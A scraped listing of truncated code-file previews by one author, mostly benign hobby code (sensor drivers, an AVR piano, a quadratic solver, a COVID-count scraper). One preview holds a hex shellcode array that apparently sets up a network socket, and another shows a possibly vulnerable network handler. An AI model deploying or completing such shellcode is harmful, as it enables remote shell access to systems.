This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//######################################################################### | |
// | |
// This is free software driver for Ultrasonic HC–SR04 Sensor. software | |
// is written for uniHack Vision Plus Team. Driver has two methods to | |
// transmit information from sensor: Equalizer on board display and USART. | |
// | |
// Copyright (c) 2014 uniHack Vision Plus TeaM | |
// Web: http://off-sec.com/ ; E-Mail: [email protected] | |
// | |
// This program is free software; you can redistribute it and/or modify |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//;========================================================== | |
; | |
; Author: kala13x (a.k.a. 7th Ghost) | |
; AVR Assembly. | |
; Processor: ATMega128 | |
; Board: BIGAVR6 | |
; | |
; Code works on BIGAVR6 board. It's like piano. | |
; When you press a button on board, code returns some tone. | |
; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <netdb.h> | |
#include <netinet/in.h> | |
#define BUFFER_SIZE 1024 | |
#define NAME_SIZE 2048 | |
int handling(int c) | |
{ | |
char buffer[BUFFER_SIZE], name[NAME_SIZE]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <netdb.h> | |
#include <netinet/in.h> | |
char shellcode[] = | |
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" | |
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" | |
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" | |
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" | |
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* ============================================ | |
Desc: WebClient for arduino Ethernet Shield | |
Date: 03.03.2015 - kala13x (a.k.a 7th Ghost) | |
Site: http://off-sec.com/ | |
============================================ */ | |
#include <SPI.h> | |
#include <Ethernet.h> | |
// MAC address for controller |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* quad-equatin.c | |
* | |
* Copyleft (C) 2013 Sun Dro | |
* | |
* Simple app to solve quadratic equation | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* strtoken.c | |
* | |
* Copyleft (C) 2015 Sun Dro (a.k.a. kala13x) | |
* | |
* This source is thread safe alternative of the strtok(). | |
* See usage of the get_token() below at main() function. | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Recursively remove directory with the given path. | |
* | |
* Copyright (c) 2015 Sun Dro (a.k.a. 7th Ghost) | |
* Web: http://off-sec.com/ ; E-Mail: [email protected] | |
* | |
* This is free software; you can redistribute it and/or | |
* modify it under the terms of the GNU Lesser General Public | |
* License as published by the Free Software Foundation; either | |
* version 3 of the License, or (at your option) any later version. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* numbers.c | |
* | |
* Copyleft (C) 2018 Sun Dro (a.k.a. kala13x) | |
* | |
* This is the CLI client for nomrebi.com web site. | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
intervalSec=10 | |
oldValue=0 | |
while [ true ] | |
do | |
newValue=$(curl https://stopcov.ge|grep "დადასტურებული"|cut -d ">" -f 3|cut -d "<" -f 1) | |
if [ $oldValue != $newValue ] | |
then | |
notify-send "Cases in Georgia:" $newValue |
OlderNewer